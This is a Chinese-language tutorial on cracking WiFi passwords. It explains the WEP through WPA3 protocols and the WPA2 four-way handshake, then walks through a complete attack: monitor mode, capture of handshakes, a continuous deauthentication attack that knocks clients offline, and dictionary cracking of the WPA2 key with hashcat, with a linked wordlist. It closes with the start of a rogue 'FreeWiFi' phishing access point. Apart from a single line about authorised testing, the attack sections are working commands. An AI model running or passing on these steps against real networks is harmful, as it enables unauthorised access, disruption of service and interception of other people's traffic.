WIFI密码破解

黑客视角揭秘WiFi钓鱼，零信任带来防护突破

Wifi_认证 、关联 和 四次握手（WPA/WPA2）

WiFi

WiFi，即无线局域网技术（WLAN），于1997年推出，允许设备在不使用物理线缆的情况下进行数据传输。WiFi技术基于IEEE 802.11标准，该标准定义了数据传输的物理层和MAC层，形成了如今广泛使用的无线通信协议。

WiFi版本

WiFi标准版本从802.11b起步，到现如今的802.11ax（WiFi 6）。随着技术的进步，WiFi的速度、稳定性和覆盖范围显著提高，不同版本的WiFi也带来了不同的加密和安全标准。

• 1999年：802.11b：2.4GHz，11 Mbps ；802.11a：5GHz，54Mbps
• 2003年：802.11g：2.4GHz，54 Mbps
• 2009年：802.11n (WiFi 4)：2.4GHz/5GHz，288Mbps/600Mbps
• 2013年：802.11ac (WiFi 5)：5GHz，1.6Gbps
• 2019年：802.11ax (WiFi 6)：2.4GHz和5GHz，10Gbps

WiFi协议

WiFi协议的安全性经历了WEP、WPA、WPA2和WPA3的演变：

• WEP (Wired Equivalent Privacy)：早期的加密协议，使用RC4算法，安全性较差，易被破解。
• WPA (Wi-Fi Protected Access)：引入了TKIP加密，改善了WEP的漏洞。
• WPA2：引入AES加密，极大增强了WiFi网络的安全性，是目前最普遍使用的安全标准。
• WPA3：最新标准，引入更强大的加密方法并增强了对离线字典攻击的防护。

WEP是最早用于无线网络的加密协议，诞生于1997年，旨在提供与有线网络相当的安全性。然而，由于使用了较弱的加密算法和固定的加密密钥，WEP存在严重的安全漏洞。

• 加密算法：基于RC4流加密算法，使用静态40位或104位密钥。
• 安全性问题：WEP在加密时采用了相同的密钥初始化向量（IV），导致在较短时间内IV重复，这使得攻击者能够通过捕获足够多的数据包来分析密钥。这个问题可以被使用工具（如Aircrack-ng）轻易破解。

WPA是为了解决WEP的安全缺陷而临时推出的协议，于2003年发布。它引入了TKIP（Temporal Key Integrity Protocol），动态生成加密密钥，增强了数据包的加密强度。尽管WPA比WEP安全性高，但仍然存在一些弱点。

• 加密算法：TKIP结合RC4算法，相比WEP提供了动态加密密钥，防止了固定密钥的重用。
• 安全性问题：虽然TKIP提高了加密的动态性，但仍然依赖于RC4算法。由于RC4存在已知的弱点，WPA的安全性也容易受到攻击（如“Michael”攻击）。

WPA2在2004年发布，是WPA的升级版，也是目前广泛使用的WiFi安全协议。WPA2采用更为安全的AES加密算法，显著增强了数据加密的强度。

• 加密算法：使用AES（高级加密标准）加密算法代替RC4，并引入CCMP（Counter Mode with Cipher Block Chaining Message Authentication Code Protocol）作为数据完整性校验方法，确保数据的安全性和完整性。
• 安全性问题：尽管WPA2被认为非常安全，但在2017年被发现存在KRACK（Key Reinstallation Attack）漏洞。该漏洞允许攻击者在受害者和路由器之间进行中间人攻击，从而解密部分传输数据。不过，KRACK漏洞可通过更新软件补丁来修复。

WPA3是最新一代WiFi安全协议，于2018年发布，旨在应对现代化的安全挑战。WPA3在WPA2的基础上进一步增强了加密和认证机制，显著提高了WiFi网络的安全性。

• 加密算法：基于192位的AES加密（WPA3-Enterprise）或128位的SAE加密（WPA3-Personal），确保即使在开放网络中，数据也受到保护。
• 主要改进：
  • SAE（Simultaneous Authentication of Equals）：在WPA3-Personal模式下引入了SAE替代PSK（预共享密钥）认证方式。SAE利用“密码一致性密钥交换协议”（Dragonfly Key Exchange）防止离线字典攻击，使得密码安全性显著提升。
  • 前向安全：WPA3引入了前向安全性（Forward Secrecy），确保即使会话密钥泄露，攻击者也无法解密先前的会话数据。
  • 开放网络保护：WPA3支持Opportunistic Wireless Encryption (OWE)，即使在没有密码的开放网络中，也能提供加密保护。

协议	加密算法	数据完整性	认证方式	主要缺点
WEP	RC4	无	静态密钥	易被破解
WPA	TKIP + RC4	有	PSK	TKIP存在弱点
WPA2	AES + CCMP	强	PSK/企业级认证	可能受KRACK攻击
WPA3	AES/SAE	强	SAE/企业级认证	尚未完全普及

握手过程

WiFi的握手过程，尤其是WPA2的“四次握手”（4-Way Handshake），是WiFi网络中确保设备和路由器之间安全通信的关键机制。这一过程在每次新设备连接到网络时都会发生，用于验证连接双方的身份并生成加密密钥，保护数据的传输。

WPA2 四次握手的主要目的包括：

1. 身份验证：确保客户端和路由器共享相同的预共享密钥（PSK），即WiFi密码。
2. 加密密钥生成：在握手过程中生成一个用于加密通信数据的会话密钥，使数据传输更加安全。
3. 防止中间人攻击：通过独特的加密方式防止会话密钥的泄露，确保数据在传输中不会被篡改或伪造。

四次握手的具体过程：以下是四次握手的详细步骤，涉及客户端设备（如手机、笔记本电脑等）和WiFi路由器：

1. 第一步：路由器发送Anonce
   • 路由器生成一个随机数（称为Anonce，即Authenticator Nonce）并发送给客户端。
   • 目的：这一随机数是用来生成会话密钥的独特输入。它保证每次连接都具有不同的加密密钥，即使WiFi密码相同，也会有新的会话密钥。
2. 第二步：客户端生成Snonce并计算MIC
   • 客户端接收到Anonce后，生成自己的随机数（称为Snonce，即Supplicant Nonce），并使用PSK（WiFi密码）和MAC地址等信息计算出会话密钥（PTK，Pairwise Transient Key）。
   • 会话密钥的生成：客户端使用Anonce和Snonce，加上双方的MAC地址，通过特定的算法（如PMKID等）计算出PTK。
   • 发送Snonce和MIC：客户端将Snonce和消息完整性码（MIC，Message Integrity Code）发送给路由器，MIC用于验证会话密钥的正确性和数据的完整性。

3. 第三步：路由器验证并发送GTK

   • 路由器验证PTK：路由器收到客户端的Snonce后，计算出相同的PTK，并用该PTK校验MIC，确保客户端使用了正确的PSK。
   • 生成组密钥（GTK）：在某些多用户场景中，路由器还会生成一个组密钥（GTK，Group Temporal Key）用于管理多个设备的广播通信。
   • 发送GTK：路由器将GTK和一个新的MIC发送给客户端，以便客户端能够解密广播数据。

4. 第四步：客户端确认

   • 客户端确认握手成功：客户端验证路由器的MIC，确认GTK是否正确。
   • 握手完成：客户端向路由器发送确认消息，表示四次握手完成。此时，客户端和路由器均已生成相同的PTK，用于加密数据传输。

握手的关键点

• PTK的生成：PTK是通信中最核心的会话密钥，生成过程中使用了Anonce、Snonce、双方MAC地址和PSK。这确保即使攻击者知道了握手包，若不知道PSK，也无法解密通信。
• MIC校验：MIC用来确保数据的完整性和身份验证。在握手过程中，如果MIC验证失败，说明PSK不一致，握手会终止。即密码错误只会握手两次。

四次握手过程的简化图解

1. 路由器 -> 客户端：发送Anonce。
2. 客户端 -> 路由器：生成Snonce，计算PTK，发送Snonce和MIC。
3. 路由器 -> 客户端：验证PTK，生成GTK，发送GTK和新的MIC。
4. 客户端 -> 路由器：验证MIC，确认握手成功。

在无线网络攻击中，渗透测试人员可以监听和捕获四次握手的数据包（EAPOL帧），其中包含加密后的Anonce、Snonce和MIC。

攻击者可以通过离线暴力破解或字典攻击来尝试猜测PSK。破解工具（如Hashcat）会从字典文件中逐一取出密码候选项，与握手包中的加密数据进行比对，找到正确的PSK。

抓包破解

WiFi网络的握手包（Handshake）是设备与路由器建立安全连接时生成的数据包。通过监听抓取WiFi握手包，可以利用字典攻击推算出WiFi密码。抓包和破解应仅用于合法的渗透测试和网络安全研究，确保操作在授权范围内进行。

所需工具及环境

• 操作系统：Kali Linux（一个专为渗透测试设计的Linux发行版，包含丰富的网络安全工具）
• USB无线网卡：支持监控模式（monitor）和数据包注入功能的无线网卡（如Atheros或Ralink系列）
• 抓包工具：Aircrack-ng（WiFi网络分析工具套件），包含airmon-ng, airodump-ng, aireplay-ng
• 密码破解工具：Hashcat（高级密码破解工具）

数据包注入在渗透测试中的常见应用包括：

1. 强制断开连接（Deauthentication）：
   • 通过发送断开连接的数据包，可以让客户端设备（如手机、笔记本电脑）临时断开WiFi网络连接。客户端通常会自动尝试重新连接，此时会触发握手过程。
   • 渗透测试人员可以利用这一过程捕获WiFi的握手包，以便后续破解WiFi密码。
2. 欺骗攻击：
   • 网卡可以发送伪造的数据包，模拟合法客户端或路由器的身份，以便在无线网络中实施中间人攻击（MITM）。
   • 通过数据包注入，攻击者可以假装是接入点，诱导设备连接，从而拦截、查看或篡改传输的数据。
3. 网络故障测试：
   • 数据包注入也可用于测试网络的稳定性和响应能力。例如，通过发送大量伪造的数据包，可以测试网络是否能够有效应对流量峰值或抗拒恶意攻击。

破解原理

WiFi密码破解的关键在于抓取握手包（handshake）数据包，利用该数据包的加密信息对密码进行推算。握手包的破解原理如下：

1. 握手包的获取：WiFi握手包是客户端设备与WiFi路由器建立连接时所传输的加密信息。握手包通常包含四次数据交换（称为“四次握手”），确保连接双方共享正确的加密密钥，并验证其一致性。
   • 当设备尝试连接到加密的WiFi网络时，它会通过加密协议（如WPA2）与路由器进行身份验证，交换经过加密的身份和密钥信息。
   • 监听者可以在设备连接到WiFi时抓取这个握手过程的数据包，并保存其中的加密信息，用于后续破解。
2. 破解过程：握手包本身不会直接包含WiFi密码的明文，而是含有密码的hash信息。破解的目标是在已捕获的握手包中，找到一个与正确密码对应的加密值。
   • 工具生成的哈希值将与握手包中的加密值逐一比对。当发现匹配的哈希值时，即找到与该握手包匹配的密码，从而破解出WiFi的访问密码。

原理：通过监听目标WiFi网络，捕获客户端与路由器连接时产生的握手包。之后，使用破解工具从密码字典中逐一尝试密码，通过加密算法计算每个密码的哈希值，并与握手包中的加密信息进行比对。如果某个候选密码的哈希值与握手包中的加密信息匹配，说明该密码是目标WiFi的正确密码。

抓包流程

1、使用装有kali系统的电脑或在VMware Workstation虚拟机中安装kali系统

2、将无线网卡插入电脑，并确保它被系统识别，可以使用ifconfig命令检查，无线网卡的接口通常为wlan0，也可能为其他名称。

有时候可能有BUG，看不到也没事，只要后面的命令不报错即可。

3、开启监控模式 使用airmon-ng工具将无线网卡置于监控模式：

airmon-ng start wlan0

此时，通过ifconfig命令可以看到wlan0变为wlan0mon，表示已进入监控模式。

4、扫描WiFi网络 使用airodump-ng扫描当前信号范围内的WiFi网络，获得目标WiFi的BSSID和信道（CH）：

airodump-ng wlan0mon

上半部分是扫描到的WiFi信息，下半部分是路由器和客户端连接信息。

5、监听并捕获握手包 通过指定目标WiFi的BSSID和信道，使用以下命令进行监听并捕获握手包：

airodump-ng --bssid <BSSID> -c <Channel> -w <output file name> wlan0mon
--bssid 路由器的mac
-c 信道
-w 握手包的保存文件

需要一直等待有客户端连接WiFi才可捕获握手包。从上图中可以看出有3个客户端已连接该WiFi，还可以通过对目标设备进行断开连接来加速握手包的捕获，使用以下命令强制客户端重新连接WiFi，从而产生握手包，新开终端：输入以下任意一条命令

aireplay-ng --deauth 0 -a <BSSID> wlan0mon
aireplay-ng -0 0 -a <BSSID> -c <STATION> wlan0mon
-0 即 --deauth : Deauthentication（断开连接）攻击
0 : 攻击次数，任意数字，0为一直攻击

等待上图中的位置出现WPA handshake: [BSSID]字样，即表示成功捕获握手包。记得CTRL+C关闭攻击。

6、关闭监控模式：airmon-ng stop wlan0

捕获成功可以看到这些文件，握手包是.cap文件

破解密码

成功抓取握手包后，使用软件对握手包密码破解。如：EWSA，WIFIPR，hashcat。我推荐使用hashcat破解。

Hashcat支持多种攻击方式，包括字典攻击、掩码攻击等，其中字典攻击是最常见的方法。

1、将握手包.cap转换为Hashcat可识别格式.hc22000，使用hcxpcaptool工具将.cap格式的抓包文件转换为.hc22000格式

hcxpcapngtool xxx.cap -o xxx.hc22000

或者在线转换地址： https://hashcat.net/cap2hashcat/

2、安装hashcat：sudo apt install hashcat ，hashcat官网

3、准备密码字典 确保字典足够大，涵盖尽可能多的密码组合。kali自带密码字典有rockyou.txt，位于/usr/share/wordlists/rockyou.txt.gz。

我找到的密码字典，链接: https://pan.baidu.com/s/1SPEiQHVBjE3Eyexe6IPdFA?pwd=hmmq

4、字典破解

hashcat -m 22000 -a 0 <handshake_file>.hc22000 <dictionary_file>.txt

• -m 22000：指定了哈希模式22000，这是hashcat用于破解WPA/WPA2 PMKID和EAPOL握手文件的模式。
• -a 0：指定攻击模式为字典攻击。
• <handshake_file>.hccapx：转换后的握手包文件。
• <dictionary_file>.txt：密码字典文件。

Hashcat会尝试从字典中找到匹配的密码，如果找到了则会在输出中显示。

如果破解过程太长需要暂停，这是就需要保存进度：

hashcat -m 22000 -a 0 <handshake_file>.hc22000 <dictionary_file>.txt --session=mydz -o output

• --session 指定会话名称
• -o 指定破解结果保存位置
• 按[c]heckpoint保存，恢复进度：hashcat -m 22000 --session=mydz --restore

遇到的问题

1、在华为的云服务器上运行hashcat报错：

=== CL_PROGRAM_BUILD_LOG ===
error: unknown target CPU 'generic'
Device pthread-General Purpose Processor failed to build the program, log: error: unknown target CPU 'generic'
Device #1: Kernel /usr/local/share/hashcat/OpenCL/shared.cl build failed.

缺少依赖，解决方法：安装 OpenCL&POCL

sudo apt-get update
sudo apt-get install pocl-opencl-icd
sudo apt-get install ocl-icd-opencl-dev

2、windows下运行hashcat报错：

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch 
* Device #2: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch 
nvmlDeviceGetFanSpeed(): Not Supported

解决方法：创建一个名为wddm_timeout_patch.reg的注册表文件，内容如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\GraphicsDrivers]
"TdrLevel"=dword:00000000

运行注册表文件：以管理员身份运行这个注册表文件，并重启计算机。

想恢复原样从注册表里删除新增的这项即可，且这个问题忽略也不影响使用。

钓鱼WiFi—待续

hostapd是一个运行在Linux系统上的守护进程，它的主要功能是将无线网卡配置为无线接入点（Access Point, AP）模式，并作为控制身份验证的后端组件。

hostapd通过读取用户的配置文件，接收用户的管理信息，并可以通过nl80211来控制底层的无线状态。它连接了上层用户配置模块和底层无线内核，作为中间件起到了向下set和向上get的功能。

#open.conf
interface=wlan0
ssid=FreeWiFi
driver=nl80211
channel=1
hw_mode=g

interface表示无线网卡接口名称，ssid 表示热点名称，channel 表示信道，hw_mode 用于指定无线模式，g代表 IEEE 802.11g

dnsmasq 是一款可同时提供 DNS 和 DHCP 服务功能、较易配置的轻量工具。

#/etc/dnsmasq.conf
dhcp-range=172.5.5.100, 172.5.5.250, 12h
interface=wlan0

nmcli radio wifi off
rfkill unblock wlan
ifconfig wlan0 172.5.5.1/24
systemctl restart dnsmasq
hostapd open.conf